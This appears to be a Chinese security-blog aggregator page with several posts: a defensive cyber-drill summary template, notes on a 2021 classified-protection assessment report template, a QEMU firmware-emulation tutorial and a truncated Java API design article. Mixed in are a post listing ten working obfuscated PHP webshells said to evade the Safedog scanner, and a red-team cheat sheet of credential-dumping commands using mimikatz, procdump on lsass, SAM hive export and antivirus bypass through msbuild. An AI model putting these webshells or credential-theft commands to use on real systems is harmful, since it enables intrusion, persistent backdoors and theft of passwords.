2021护网总结模板 安全闲碎

2021护网总结模板

2021年,与往年的护网“划水”的角色不同 ,领导鼓励(命令)我今年要扛起写护网总结报告的大旗。    作为一线“工具人”,写总结材料真的很头疼,相信很多人和我都有同感。于是在护网开始就开始着手准备总结材料,做到未雨绸缪,尤其是4月护网结束后,下面还有省级、市级护网,以及7月的建党100周年的安保,估计每次都将会少不了总结报告。特从网上搜集了总结模板,分享给大家。参考:  https://blog.csdn.net/skystephens/article/details/98197583    由于每家企业防护手段不一、组织架构不一,并且以下案例未必真实,所以完全照抄的可能性不大,所以仅供参考~~~2021XXXX护网总结    2021年X月X日-2021年X月X日,XX发起了针对关键信息基础设施进行攻防演练的HW工作。XXXX平台作为防守方,成功防御了XX的攻击,没有被攻破,同时发现并处理了XXXX,经XX确认,得分X分。    平台按照XX和XX的统一部署,重预警、早排查,演练期间,加强安全专项巡检,做好相关汇报工作,对发现的安全问题及时整改,按照组织要求认真做好各阶段工作,顺利完成了防守任务,提升了XX平台的网络应急安全应急处置与协调能力,提升了XX平台安全防护水平。    具体情况如下:一、前期准备    1、成立XX平台HW2021工作专项小组,并由公司负责人牵头,各部门协力配合,做到了分工明确,责任具体到人;同时完善相关安全制度优化完成《XXXX平台应急处置方案》和《XX平台防守组工作方案》,保障HW工作正常有序开展。    2、开展运维自检自查工作以及第三方协查工作。通过资产梳理工作,对XX平台网络策略优化xx项,修复高危安全漏洞xx余项,其中自主发现高危安全漏洞xx项,XX协助发现高危漏洞x个,包含在自主发现漏洞中,已做到对高危漏洞清零,检测发现并修复平台弱口令xx项。    3、组织防护工作演练,编写《xxXX平台工作部署》方案,对HW期间工作进行紧密部署,加强完善平台安全巡检,增强团队协作能力。    4、组织协调第三方能力,在此期间对物理机房、云服务商监测加强监控、检测要求,XX协助提供x云安全监测服务,并配置入侵检测系统,同时安全部对公司内部进行安全意识宣贯,降低被钓鱼攻击风险。二、组织实施(一)加强组织协调    在公司内部设置专项防守场地,安排XX平台各部门负责人、核心部门驻场值守。安排专人进行对接,随时与防守团队保持联络,通过电话会议每日协商,汇总当日所发生的安全事件,针对安全事件进行应急响应和处置。(二)安排重点值守    各部门各司其职,加强防守整改。其中XX部整体把握XX防守情况,负责与总体防守组的沟通联系,负责信息对接,保持随时联络,提交防守成果。XX负责对网络安全策略进行梳理,删除无效策略;XX部负责对主机系统安全基线进行检查落地,修复主机漏洞,对中间件平台进行升级;XX梳理数据库相应安全权限,对权限进行严格控制;XX部负责对代码层安全漏洞进行修复,并对后台管理进行安全防护;XX部负责撰写整体《安全应急相应方案》以及《HW工作安排部署方案》,加强安全监测预警、安全防护和应急处置能力。(二)开展防守工作  攻防实施阶段    1、严格落实值班制度。平台加强了每日巡检力度,从巡检次数从每日二次调整为每日三次,同时安排专人负责安全巡检,对巡检项进行详细记录,并于每日下午X点前上报;并安排专人在部机关值守,确保信息沟通顺畅。    2、认真落实报告制度。安排专人到XX负责联络工作X周,并每日于X点、X点进行工作汇报总结,对攻击手段、封禁IP地址,账号爆破情况进行梳理归纳,发现攻击问题第一时间上报总体防守组。编制X份防守成果报告,经演戏指挥部确认,得分XX分。    3、全面做好检测预警工作。平台对WAF、IDS、以及邮箱、VPN等账户,系统状态、网络状态等进行全方位监控,共发现账户破解、扫描、命令执行、SQL注入等攻击数百次,对异常IP进行及时封禁,共计封禁IPXX余个,未发现攻击成功现象。    4、 加强监控应急处理能力。在平台发现被爆破的账号后,并在第一时间对问题账户进行删除操作;发现并删除恶意木马文件XX个,并阻止该恶意程序运行,上报防守成果,同时优化平台相关服务,关闭木马上传路径。    5、攻防实施阶段XX平台共检测到恶意扫描攻击XX次,平台封禁恶意IP地址XX余个,公司邮箱账户被尝试爆破XX余个,均未成功,XX平台业务账户被尝试暴力破解XX个,成功X个,VPN账号被尝试暴力破解X个,未成功,发现XXXXXXXX公司官网网站有异常IP入侵,发现XX平台、XX平台有异常IP入侵,采取封禁IP措施,对XX平台网站应用系统弱口令问题进行整改。三、威胁汇总及整改情况    演习结束后,根据XX与XX相关要求,对攻防演习工作中发现的问题成果进行梳理,共有X项其中XX平台安全隐患X项,非XX平台安全隐患共X项,通知相关部门进行整改,已经完全整改完毕。(一)XX平台威胁整改情况    本次参演的XX平台共被发现X处安全隐患,存在XX问题,目前已全部修复。(二)非目标系统威胁整改情况    本次演习攻击方对演习目标所属公司系统进行了攻击渗透,共发现威胁X个。截止目前,已完成所有问题整改、漏洞修复。四、存在问题(一)XX平台系统此次攻防演习过程中,存在问题如下:    1、基础运维存在薄弱环节....    2、系统存在弱口令问题.....(二)公司存在的问题    公司的其他信息系统不在本次攻防演习范围内,故本次演习前准备阶段未对XXX平台、XXX平台进行风险隐患排查和整改加固。    经分析,攻击方主要是通过三种途径开展渗透攻击:一是利用系统已知漏洞,获得系统服务器权限,对内网开展渗透攻击;二是利用用户弱口令漏洞,获取网络及信息系统关键信息;三是通过SQL注入、文件上传漏洞等攻击方式,对目标系统开展攻击,获取系统权。根据上述攻击方式,反映出公司存在的问题有:    xxxxxxx......五、下一步工作    针对XX平台存在的问题,我司将进一步提高认识,加强人员往来安全意识教育,组织信息安全培训,不断提高全员安全意识。针对上述存在的安全问题整改完成后,举一反三,查找存在类似安全隐患并整改,不断完善网络及信息系统的网络架构规划及制度管理。主要措施如下:(一)基础运维方面    1、加强设备管理,梳理资产信息,严格核对CMDB中信息,将密码变更列入季度安全运维工作,对不在用的策略、服务器进行清理线下,将继续使用的设备进行资产审核,确认资产信息准确性。    2、严格杜绝系统弱口令,加强口令强度设置;需要用户注册功能的,要对注册用户加以限制,要对上传文件格式限制;加强信息系统及用户账号的管理,定期查看使用情况,确认不用的系统、用户账号及时进行关停处理。    3、需要对防火墙策略申请、端口映射申请进行周期性梳理,删除无效、无用策略,防止内部服务被误开放到互联网平台。    4、严格控制运维、研发、测试等技术型人员在服务器上明文存储备份账号密码,随意开放查看权限,对离职员工账号密码进行严格审查,删除,关闭。(二)安全防护方面    1、加强公司网络边界防护,更新升级防火墙、防毒墙等安全设备,做好外部入侵防护控制。    2、加强网络安全设备如VPN、堡垒机等权限管理,对人员进行基于角色划分管理权限。    3、对各平台网络严格按照等级保护要求进行区域区分,加强信息系统安全防护和管理。    4、对数据安全加强防护,防止未授权访问敏感数据,防止技术和业务人员对数据误操作或恶意操作导致数据泄露。(三)安全监测方面    1、充分利用安全设备及监控平台进行监控。分析安全设备的日志,对应用系统的运行状态、资源占用率等情况进行查看,及时发现和应对攻击行为,根据记录的入侵源IP、攻击类型、攻击访问等特征进行关联分析。    2、增加安全预警手段。推进公司预警监测和态势感知能力,加强主机端安全监控能力,将安全设备及系统逐步进行整合。(四)应急处置方面    1、建立健全安全预防和预警机制。加强信息网络系统和设备的安全防护工作,加强信息网络日常运行状况的检测分析,对外部和内部可能对信息网络产生重大影响的事件进行预警,保障信息网络安全畅通。     2、加强应急处置和演练。发生突发性事件时,启动应急预案,根据事件级别,根据《XXXXXXXXXX平台应急相应预案》采取相应处置措施,确保网络通畅,业务连续性以及信息安全。有计划、有重点的组织技术人员针对不同情况对预案进行演练,对预案中存在的问题和不足及时补充、完善。    下一步,我司将进一步推进网络安全和信息化工作,进一步用好攻防演练成果,在XX的指导下,提升态势感知和应急处置能力,提高关键信息基础设施防护水平,不断完善网络安全工作体制机制,构建与信息化工作相适应的网络安全保障体系,有力维护XX平台业务及数据安全。往期精彩回顾▶2021护网日记(十六)- 4/22 hw结束,xdm,明年再见!▶2021护网日记(十五)- 4/21 蓝队如何后期逆袭加分▶2021护网日记(十四)- 4/20 一次成功的溯源▶2021护网日记(十三 )-  4/19 “阵地”还在,我们依然坚挺▶2021护网日记(十二)- 4/18 两台服务器失疑似失守,这次“狼”真的来了▶2021护网日记(十一)- 4/17 有告警,我不报,哎 ,就是玩儿▶2021护网日记(十)-4/16 HW的夜太长▶2021护网日记(九)-4/15 带你走进真实的2021护网现场▶2021护网日记(八)-4/14 “主机不出网,任你0day也枉然”▶2021护网日记(七)-4/13 HW漫漫,看好革命的本钱?▶2021护网日记(六)-4/12 InScan是个阴谋么?▶2021护网日记(五)-4/11 今天的HW报告怎么写?▶2021护网日记(四)-...
阅读全文
2021版等级测评报告模板修订总结 云安全

2021版等级测评报告模板修订总结

原创丨毛华庆出品丨北京一等一技术咨询有限公司独家授权,未经许可不得转载总体注意事项PART/011.要注意红色字体,例如:如果云服务客户业务应用系统同时部署在不同模式的云计算平台上时,可使用多个等级测评结论扩展表(云计算安全)来展示。例如:大系统如果部署在多个云平台,多个云平台要看成多个测评对象,分别给出等级测评结论扩展表(云计算安全);2.算法变化超级大,主要是原来的算法得分比较集中(75-85区间比较集中),新的算法会使得分数差异变大;3.填写表格要注意前后的一致性;4.执行时间为:2021年6月18日。总体修订情况说明总共三大块:1、技术修订:公式、一些评定合格的方式有变化2、格式修订:表格等格式上规范报告内容3、说明修订:主要是模板中红色字体部分技术修订1.调整综合得分计算公式:从原来的10个安全层面计算变成了从技术和管理两方面计算,从原来根据符合标准情况累加计算变成了扣分计算,额外添加关注系数,这块后面估计还要额外写。2.根据将数据作为独立测评对象,单独列出数据安全测评结果,突出各类数据安全防护情况。3.保留控制点符合情况统计表,删除控制点得分计算。综合得分计算修订缺陷扣分规则就是不符合或者部分符合要扣分,按特定倍数来扣:1、先计算单个测评项的基准分S2、一般测评指标:部分符合,扣0.5×S分;不符合,扣S分3、重要测评指标:部分符合,扣1倍S分;不符合,扣2×S分4、关键测评指标:部分符合,扣1.5×S分;不符合,扣3×S分5、设置关注系数:关注系数统一发布,明确技术、管理的占比。关注系数的原理是看政策对技术还是管理的侧重,另外也考虑到在控制点或者说标准要求上,技术和管理的要求在数量上是不匹配的,乘以这个系数或者说权重,相当于对计算出来的得分进行归一化。测评指标的类别:一般、重要、关键有额外的权重表,分别对应0.4、0.7、1。综合得分公式:记总体分数为M,则V t表示技术Technology类总体得分;V m 表示管理Management类总体得分。V t 的计算公式为:V m 的计算公式为:上面两个公式可以简化写为一个式子这里看上去很复杂,先来化简一下,这里y yy是关注系数,是官方统一发布的常数,目前是0.5,带入上面,变成:看上去技术和管理的计算都非常相似,这里面ω k 代表当前测评指标的类型,上面说了,有三种:一般、重要、关键,这里ω k 经过函数f ff后,变成:ω k是原来的权重表中的0.4/0.7/1,这三个值分别对应一般/重要/关键。S是单个测评项的基准分,还不知道这里n nn代表什么,猜测是测评的项数有关:xk是测评结果,分别不符合、部分符合、符合,取值对应0,0.5,1,即:看到这里估计还有很多小伙伴不明白,我们举个例子,如果有一个测评项a,它属于关键测评指标,则f(ωk)=3,如果它测评结果是不符合,那么x k = 0 ,则1 − x k = 1 该测评项的基准分是S 的话:从这个例子可以看到,如果是关键测评指标不符合,扣分非常严重。假设一个系统大多数关键测评指标不符合,那么就会导致19版的分数换算到21版的分数就会变低。官方做了实验:这里面相差最大的就是所有指标均为部分符合的情况,由于是部分符合,按照2019版本的计算公式,是按照2021公式计算:总体来说:1.关键指标非常重要,如果关键指标不符合太多项新版会不及格。2.新版计算貌似更加简单,但是应该还涉及多个测评对象的问题,应该和原来的计算方式相同,等实操后再补充。3.估计这个世界上不会有哪个系统能拿满分,意味着肯定会有扣分,也就是说V t或者V m都不可能等于0,更不用说有小于0的情况,所以,我认为系统最后的综合得分公式可以写为:将数据作为独立测评对象在2021新版报告里面,单独加上了数据这块内容,分别加在了正文3.4.6节和附录A.9 中,这块需要填写什么?附录A.9模板的填写说明为:以列表形式描述具有相近业务属性和安全需求的数据集合。数据资源一般包括鉴别数据、重要业务数据、重要审计数据、重要配置数据和重要个人信息等。安全防护需求一般从保密性、完整性等方面进行分析。是不是看不懂🤔?要正确填写先要搞清楚数据在整个系统有很多种,测评涉及的维度也很多,我简单整理一个表就很清楚了:格式修订10类1.等级测评结论扩展表:明确其适用场景,给出表格填写说明,给出平台服务能力描述方式。说明:加了等级测评结论扩展表(大数据安全)、等级测评结论扩展表(云计算安全)两个扩展表的说明,里面以四级系统为例给出了平台服务能力描述。就是把等保标准里面的大数据和云计算的指标替换过来了。这里要注意,如果一个大的系统部署在两个云平台(或者部署在同一个平台的两种服务模式),那么要填写两张等级测评结论扩展表(大数据安全)。2.主要安全问题及整改建议:给出了本节内容编写示例,规范全国测评机构报告编写风格。说明:这里要根据等保标准里面的要求大类(安全物理环境、 安全通信网络、 安全区域边界、 安全计算环境、 安全管理中心、 安全管理制度、 安全管理机构、 安全管理人员、 安全建设管理、 安全运维管理…如果有扩展要求继续加)分别填写。填写格式为:(序号)问题1描述整改建议描述(序号)问题2问题3描述整改建议描述上面的问题要和报告5章列出的所有安全问题对应,可以多个问题合并给出建议3.不适用安全要求指标:明确不适用指标填写要求,给出了不适用安全要求指标表格。2.2.4不适用安全要求指标填写时注意,只能填写那些所有测评对象都不适用的指标。对于仅某个对象不适用的指标不填写在本节表格,填写到该对象的测评结果(附录C)中即可。4.等级测评结论:给出了“优、良、中、差”四个等级测评结论编写示例,规范全国测评机构报告编写风格。说明:给出了四个样例:本次等级测评的综合得分为95,且不存在中、高等级安全风险,等级测评结论为优。本次等级测评的综合得分为90,但存在中等级安全风险,等级测评结论为良。本次等级测评的综合得分为75,且不存在高等级安全风险,等级测评结论为中。本次等级测评的综合得分为85,但存在高等级安全风险,等级测评结论为差。5.附录H和附录I。明确其适用场景,给出内容编写要求。说明:附录H是云计算平台测评及整改情况,附录I是大数据平台测评及整改情况这两个找系统托管的厂家要。6.测评对象选择结果,调整分类方式,明确填表要求。说明:多加了2.3.2.6其他设备,加了2.3.2.9数据类别其他设备指:移动互联的移动终端、物联网的感知终端、工业控制系统的控制设备等。数据类别上面有讲,不啰嗦。系统管理软件/平台指:系数据库、中间件、网管软件/平台、安管软件/平台、云计算管理软件/平台等。7.验证测试:给出了漏扫和渗透的编写要求,给出了相关表格进行规范。说明:漏扫和渗透给出了具体表格,要把漏扫和渗透的结果填到表格里面,漏洞多的时候可以只填高危漏洞。8.整体测评结果汇总:给出了整体测评编写要求,给出了相关表格进行规范。说明:给出了具体表格和示例,表格问题编号要和3.13.2安全问题汇总表的编号要对应。9.附录B上次测评问题整改情况:给出了本节内容编写要求,给出了相关表格进行规范。说明:要核查上一次测评报告中的《主要安全问题及整改建议》,核查整改情况。1).如果是部分整改判断为未整改;2).不是全部问题,是主要问题。10.附录D单项测评结果记录,给出了单项测评结果记录表格。说明:略说明修订略其他说明封面的被测单位和基本信息表的被测单位可能不一致,前一个是签合同给钱的主,后一个是被测的主。报告中的编号带括号的必须是中文括号。参考文献:等级测评报告模板(2021版)模板培训ppt,可在网上百度关注我们联系我们 本文始发于微信公众号(等级保护测评):2021版等级测评报告模板修订总结
阅读全文
文库|PHP的Webshell绕过总结 安全文章

文库|PHP的Webshell绕过总结

高质量的安全文章,安全offer面试经验分享尽在 # 掌控安全EDU #作者:掌控安全-手电筒1.php的异或运算$a="~+d()"^"!{+{}"这个表示了$a=这两个字符串之间进行一个异或运算运算异或运算符,按二进制位进行异或运算这里的运算会把符号转化为ascii码,再转化为二进制,再转化为十进制进行运算,再把结果转化为ascii码通过这个转换的方式来绕过检测<?php$a= ("!"^"@").'ssert';$a($_REQUEST);?>测试可以成功连接2.通过获取注释去绕过<?php/**YXNzZXJ0YmZnZmc=*/class Example{ public function fn() { }}通过一个空的类去获取,$reflector = new ReflectionClass('Example'); //这里为通过反射获取类的注释$zhushi = substr(($reflector->getDocComment()), 7, 12);然后去截断获取注释里的字符,注意getDocComment只能通过文件最开始的类来调用才会把注释内容显示//echo $zhushi;$zhushi = base64_decode($zhushi);$zhushi = substr($zhushi, 0, 6);echo $zhushi;foreach (array('_POST','_GET') as $_request) { foreach ($$_request as $_key=>$_value) { $$_key= $_value; print_r($$_request); }}/*设置一个数组,参数为_POST,_GET,然后把该数组用$_request去表示,再设置一个遍历,把$_request设为一个可变变量,再键值分离再设$$_key=$_value,做一个定义,定义可变变量$_key键等于值得内容再设$$_key=$_value,做一个定义,定义可变变量$_key键等于值得内容*/$zhushi($_value);//最后就是assert(传入的变量值)?>原理就是通过把shell加密并放到注释里,利用类的反射机制获取类的注释,再解密去生成shell测试可以成功连接3.利用字符的运算符<?php $__="assers"; ++$__; //echo ++$__; $__($_REQUEST);?>设$__ 为字符串assers,然后对这个字符串进行自增操作这里++是直接对这个字符串里的最后一个字符进行自增操作,得到结果为assert然后去拼接($_REQUEST);,生成shell测试可以正常连接4.通过end函数代替<?php eval(end($_REQUEST));?>这里的end函数的作用是输出数组中当前元素和最后一个元素的值这里由于传参就一个,所以就直接输出我们传参的值,从而可以传入参数,这里就是我们传入参数相当于shell里的传参测试可以正常连接5.通过常量去绕过<?php define("a","$_GET");eval(a);?>这里的关键在于define函数,这个函数的作用是定义一个常量我们这里设置一个常量为a,它的值是$_GET,然后再去eval执行常量a,实际就是eval($_GET);,从而达到绕过的目的测试可以正常连接6.字符串拼接+双美元符<?php $a='ass'; $b='ert'; $funcName=$a.$b; $x='funcName';$$x($_REQUEST);?>这里通过把关键的assert进行分割,然后拼接再通过$$,利用可变变量去执行测试可以正常连接7.通过函数定义绕过<?phpfunction a($a){return $a;}eval(a($_REQUEST));?>这里设置一个用户自定义函数a,当里面有参数时,返回该参数的内容这里shell里的a($_REQUEST) 的实际效果为 a($_REQUEST)相当于是a($a),会返回$a的内容结果为$_REQUEST,最后一行的实际内容为eval($_REQUEST);测试可以正常连接8.通过类定义,然后传参分割<?phpclass User{ public $name = ''; function __destruct(){ eval("$this->name"); }}$user = new User;$user->name = ''.$_REQUEST;?>通过类定义,定义一个类User,设置$name为空,然后设置一个析构函数,脚本运行结束之前会调用对象,然后eval去执行,后面用new函数将对象实例化并输出方法,然后,$user->name这个相当于是$this->name,等于’’.$_REQUEST;最后$user->name = ‘’.$_REQUEST; 相当于eval($_REQUEST)测试可以正常连接9.多传参方式绕过<?php$COOKIE = $_COOKIE;foreach($COOKIE as $key => $value){ if($key=='assert'){ $key($_REQUEST); } }?>这里设置$cookie为获取的cookie传参,这里是个数组,然后通过foreach遍历,再进行键值分离,$key为键,$value为值然后进行一个if判断,当$key为assert时,$key拼接($_REQUEST); 达到生成shell效果测试可以正常连接10.通过get_defined_functions绕过<?php$a=get_defined_functions();$a($_GET);?>这个get_defined_functions函数作用是返回所有已定义的函数,包括内置函数和用户定义的函数,这里通过get_defined_functions得到所有函数,然后通过去访问并调用相应函数,然后后接($_GET),生成shell测试可以正常连接用安全狗进行检测以上方案里的均能过安全狗关于webshell绕过其实还有许多其他的办法,后续学习到了新方法会继续在本文的基础上做补充,再会!回顾往期内容Xray挂机刷漏洞POC批量验证Python脚本编写实战纪实 | SQL漏洞实战挖掘技巧渗透工具 | 红队常用的那些工具分享代码审计 | 这个CNVD证书拿的有点轻松    代理池工具撰写 | 只有无尽的跳转,没有封禁的IP!扫码白嫖视频+工具+进群+靶场等资料  扫码白嫖! 还有免费的配套靶场、交流群哦! 本文始发于微信公众号(掌控安全EDU):文库|PHP的Webshell绕过总结
阅读全文
精选|QEMU仿真方式总结 安全闲碎

精选|QEMU仿真方式总结

QEMU是目前最先进的动态二进制翻译跨平台仿真软件,它可以模拟x86、ARM、ARM64、MIPS、PowerPC等架构。QEMU的原理主要是将ELF格式的可执行文件翻译成中间形式,然后根据中间形式,拷贝编译好的微操作代码,形成目标基本块,最后再执行此基本块。它的总体结构如图所示QEMU主要有两种仿真方式:用户模式仿真:允许一个(Linux)进程执行在不同架构的CPU上,该模式下,QEMU 可以作为进程级虚拟机系统模式仿真:允许仿真完整的系统,包括处理器和配套的外设,该模式下,QEMU 也可以作为系统虚拟机接下来我们从QEMU的安装开始来讲解这两种仿真方式,需要用到的固件可以在后台回复「QEMU」获取1 安装QEMUsudo apt-get updatesudo apt-get install qemu-system-mipssudo apt-get install qemu-usersudo apt-get install qemu-user-staticsudo apt-get install qemu-utils2 QEMU系统模式仿真首先我们需要从debian官网下载kernel和image,地址如下:https://people.debian.org/~aurel32/qemu/mipsel/「为什么我们这里知道使用mipsel呢,你可以在文件系统内随便找一个ELF文件,然后使用file命令查看一下」将目录中的所有文件下载到一个kernel内即可,同时也将固件解压放到同一目录首先安装虚拟网络设备tunsudo apt-get install uml-utilities为root用户添加网卡tap0sudo tunctl -t tap0 -u root设置IP地址sudo ifconfig tap0 192.168.3.1/24查看一下我们设置的IP地址ifconfig进入kernel目录,并使用如下命令启动qemu:sudo qemu-system-mipsel -M malta -kernel ./vmlinux-3.2.0-4-4kc-malta -hda ./debian_wheezy_mipsel_standard.qcow2 -append "root=/dev/sda1 console=tty0" -net nic -net tap,ifname=tap0,script=no,downscript=no -nographic -s命令解析如下效果如图所示账号密码均为root使用ifconfig配置仿真机的eth0网卡为192.168.3.2ifconfig eth0 192.168.3.2使用物理机测试与仿真机之间的连通性ping 192.168.3.2使用scp命令将squashfs.tar传入仿真机scp squashfs.tar [email protected]:/root在仿真机内使用tar命令解压tar -zxvf squashfs.tar挂载固件文件系统中的proc目录和dev目录到chroot环境,因为proc中存储着进程所需的文件,比如pid文件等等,而dev中存储着相关的设备mount -o bind /dev ./squashfs-root/devmount -t proc /proc ./squashfs-root/proc/使用chroot更改root目录,系统的目录结构将以squashfs-root作为根chroot ./squashfs-root/ sh至此,我们就可以运行该文件系统中的程序啦3 QEMU用户模式仿真因为我们要运行的是mipsel的程序,所以这里我们使用qemu-mipsel来执行但如果有的时候目标程序使用了动态链接库就会导致我们执行失败,这个时候我们只要配合chroot使用即可,首先将qemu-mipsel拷贝到squashfs-root目录cp $(which qemu-mipsel-static) .sudo chroot . ./qemu-mipsel-static ./www/api4 总结QEMU的出现为我们这些测试人员节约了大量的成本。我们可以在没有开发板的情况下进行测试、调试和运行,大大提高了效率参考引用:https://swordfaith.github.io/2019/09/24/QEMU%20%E5%B7%A5%E4%BD%9C%E5%8E%9F%E7%90%86/基于QEMU的嵌入式系统仿真环境的构建(陈宇星) 本文始发于微信公众号(墨鱼实验室):精选|QEMU仿真方式总结
阅读全文
【红队技能】之抓密码总结 安全文章

【红队技能】之抓密码总结

0x01 在线抓密码(1)mimikatzprivilege::debugtoken::whoamitoken::elevatelsadump::sammimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords"(2)ps脚本powershell -exec bypassImport-Module .Get-PassHashes.PS1Get-PassHashes(3)msfrun hashdumphashdumppost/windows/gather/credentials/domain_hashdump(获取域hash)use mimikatzwdigest(明文)(4)cshashdumpwdigestlogonpasswords(明文)0x02 离线抓密码(1)SAM(卷影副本、注册表)reg save hklmsam sam.hivreg save hklmsystem system.hivlsadump::sam /sam:sam.hiv /system:system.hiv (mimikatz)(2)lsass.exe(注入lsass.exe进程,并从其内存中提取)procdump.exe -accepteula -ma lsass.exe lsass.dmpmimikatz.exe "sekurlsa::mimidump lsass.dmp" "log" "sekurlsa::logonpasswords"(3)手工导出lsass.dmp文件使用任务管理器导出lsass.dmp文件点击创建转储文件0x03 其他工具(1)Quarks PwDump命令:quarksPwDump.exe –dhl -o hash.txt(2)WCE命令:wce.exe -w(抓取明文)、wce.exe –l(抓取hash)(3)LaZagneLaZagne windows0x04 特殊环境4.1 限制上传文件长度时导出凭据的方法如果实际的测试环境对上传文件的长度做了限制,这里给出的解决方法:上传.cs文件,借助测试环境默认安装的.Net环境,使用csc.exe进行编译参考三好学生链接为了应对不同的测试环境,使用的代码应该支持.Net 3.5以及更高版本编译代码C:WindowsMicrosoft.NETFramework64v3.5>csc.exe 1.cs /unsafe导出凭据的命令:1.exe log "privilege::debug" "sekurlsa::logonPasswords full" exit4.2 限制下载文件长度时导出凭据的方法在c#文件中加载mimikatz的方法,实现以下功能:下载地址1.获得lsass.exe进程的dmp文件并保存到temp目录2.从dmp文件导出凭据3.删除dmp文件很多实际情况环境对下载文件做了大小限制编译命令C:WindowsMicrosoft.NETFramework64v3.5>csc.exe downloadmimikatz.cs /unsafe然后直接执行exe0x05 mimikatz bypass1.PE to shellcode下载地址pe2shc.exe mimikatz.exe mimi.txtrunshc64.exe mimi.txt这个方法不太行了2.c#加载mimikatzcscript mimikatz.js3.白名单加载mimikatz使用白名单程序msbuild进行进行加载xml文件C:WindowsMicrosoft.NETFramework64v4.0.30319msbuild.exe mimikatz.xml4..net4.0加载mimikatzC:WindowsMicrosoft.NETFramework64v4.0.30319MSBuild.exe executes-mimikatz.xml原创投稿作者:buffer未经授权,禁止转载【往期推荐】【内网渗透】内网信息收集命令汇总【内网渗透】域内信息收集命令汇总【超详细 | Python】CS免杀-Shellcode Loader原理(python)【超详细 | Python】CS免杀-分离+混淆免杀思路【超详细】CVE-2020-14882 | Weblogic未授权命令执行漏洞复现【超详细 | 附PoC】CVE-2021-2109 | Weblogic Server远程代码执行漏洞复现【漏洞分析 | 附EXP】CVE-2021-21985 VMware vCenter Server 远程代码执行漏洞【CNVD-2021-30167 | 附PoC】用友NC BeanShell远程代码执行漏洞复现【奇淫巧技】如何成为一个合格的“FOFA”工程师记一次HW实战笔记 | 艰难的提权爬坑【超详细】Microsoft Exchange 远程代码执行漏洞复现【CVE-2020-17144】【超详细】Fastjson1.2.24反序列化漏洞复现走过路过的大佬们留个关注再走呗往期文章有彩蛋哦 本文始发于微信公众号(渗透Xiao白帽):【红队技能】之抓密码总结
阅读全文
优雅的实现对外接口,要注意哪些问题? 安全闲碎

优雅的实现对外接口,要注意哪些问题?

点击下方“IT牧场”,选择“设为星标”作者:xiaolizhblog.csdn.net/xiaolizh/article/details/83011031博主之前做过恒丰银行代收付系统(相当于支付接口),包括现在的oltpapi交易接口和虚拟业务的对外提供数据接口。总之,当你做了很多项目写了很多代码的时候,就需要回过头来,多总结总结,这样你会看到更多之前写代码的时候看不到的东西,也能更明白为什么要这样做。做接口需要考虑的问题什么是接口接口无非就是客户端请求你的接口地址,并传入一堆该接口定义好的参数,通过接口自身的逻辑处理,返回接口约定好的数据以及相应的数据格式。接口怎么开发接口由于本身的性质,由于和合作方对接数据,所以有以下几点需要在开发的时候注意:1、定义接口入参:写好接口文档2、定义接口返回数据类型:一般都需要封装成一定格式,确定返回json还是xml报文等见如下返回数据定义格式:Resultpackage com.caiex.vb.model; import java.io.Serializable;import javax.xml.bind.annotation.XmlAccessType;import javax.xml.bind.annotation.XmlAccessorType;import javax.xml.bind.annotation.XmlType; @XmlAccessorType(XmlAccessType.FIELD)@XmlType(name = "Result", propOrder = { "resultCode", "resultMsg" })public class Result implements Serializable { private static final long serialVersionUID = 10L; protected int resultCode; protected String resultMsg;  public int getResultCode() {  return this.resultCode; }  public void setResultCode(int value) {  this.resultCode = value; }  public String getResultMsg() {  return this.resultMsg; }  public void setResultMsg(String value) {  this.resultMsg = value; }}Responsepackage com.caiex.vb.model; import java.io.Serializable; public class Response implements Serializable {  private static final long serialVersionUID = 2360867989280235575L;  private Result result;  private Object data;  public Result getResult() {  if (this.result == null) {   this.result = new Result();  }  return result; }  public void setResult(Result result) {  this.result = result; }  public Object getData() {  return data; }  public void setData(Object data) {  this.data = data; } }3、确定访问接口的方式,get or post等等,可以根据restful接口定义规则RESTful API:RESTful API 最后,关注码猿技术专栏公众号,回复“面试宝典”,送你一份面试题宝典!4、定义一套全局统一并通用的返回码,以帮助排查问题;reponse code public static int NO_AGENT_RATE = 1119;  //未找到兑换率  public static int SCHEME_COMMIT_FAIL = 4000;  //方案提交失败  public static int SCHEME_CONFIRMATION = 4001;  //方案确认中  public static int SCHEME_NOT_EXIST = 4002;  //方案不存在  public static int SCHEME_CANCEL= 4005;  //方案不存在  //。。。。5、统一的异常处理:应该每个系统都需要一套统一的异常处理package com.caiex.vb.interceptor; import javax.servlet.http.HttpServletRequest; import org.slf4j.Logger;import org.slf4j.LoggerFactory;import org.springframework.web.bind.annotation.ControllerAdvice;import org.springframework.web.bind.annotation.ExceptionHandler;import org.springframework.web.bind.annotation.ResponseBody; import com.caiex.vb.model.Response; @[email protected] class GlobalExceptionHandler {  private  Logger  logger = LoggerFactory.getLogger(this.getClass());      /**     * 所有异常报错     * @param request     * @param exception     * @return     * @throws Exception     */    @ExceptionHandler(value=Exception.class)      public Response allExceptionHandler(HttpServletRequest request,              Exception exception) throws Exception      {       logger.error("拦截到异常:", exception);        Response response = new Response();        response.setData(null);        response.getResult().setResultCode(9999);        response.getResult().setResultMsg("系统繁忙");        return response;      }   }6、拦截器链设置:合作方访问接口的时候,会根据你接口定义好的传参访问你的接口服务器,但是会存在接口参数类型错误或者格式不对,必传参数没传的问题,甚至一些恶意请求,都可以通过拦截器链进行前期拦截,避免造成接口服务的压力。还有很重要的一点,加签验签也可以在拦截器设置。继承WebMvcConfigurerAdapter实现springboot的拦截器链。实现HandlerInterceptor方法编写业务拦截器。SignInterceptorpackage com.caiex.vb.interceptor;  import javax.annotation.Resource;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse; import org.apache.commons.lang3.StringUtils;import org.apache.logging.log4j.LogManager;import org.apache.logging.log4j.Logger;import org.springframework.stereotype.Component;import org.springframework.web.servlet.HandlerInterceptor;import org.springframework.web.servlet.ModelAndView; import com.alibaba.fastjson.JSON;import com.caiex.redis.service.api.RedisApi;import com.caiex.vb.model.Response;import com.caiex.vb.utils.CaiexCheckUtils; @Componentpublic class SignInterceptor extends BaseValidator implements HandlerInterceptor{  private Logger logger = LogManager.getLogger(this.getClass());  @Resource private RedisApi redisApi;   public void afterCompletion(HttpServletRequest arg0,   HttpServletResponse arg1, Object arg2, Exception arg3)   throws Exception {  // TODO Auto-generated method stub   }  public void postHandle(HttpServletRequest arg0, HttpServletResponse arg1,   Object arg2, ModelAndView arg3) throws Exception {  // TODO Auto-generated method stub   }  public boolean preHandle(HttpServletRequest arg0, HttpServletResponse arg1,   Object arg2) throws Exception {  if(isTestIpAddr(arg0)){   return true;  }  String securityKey = redisApi.hGet("securityKey", 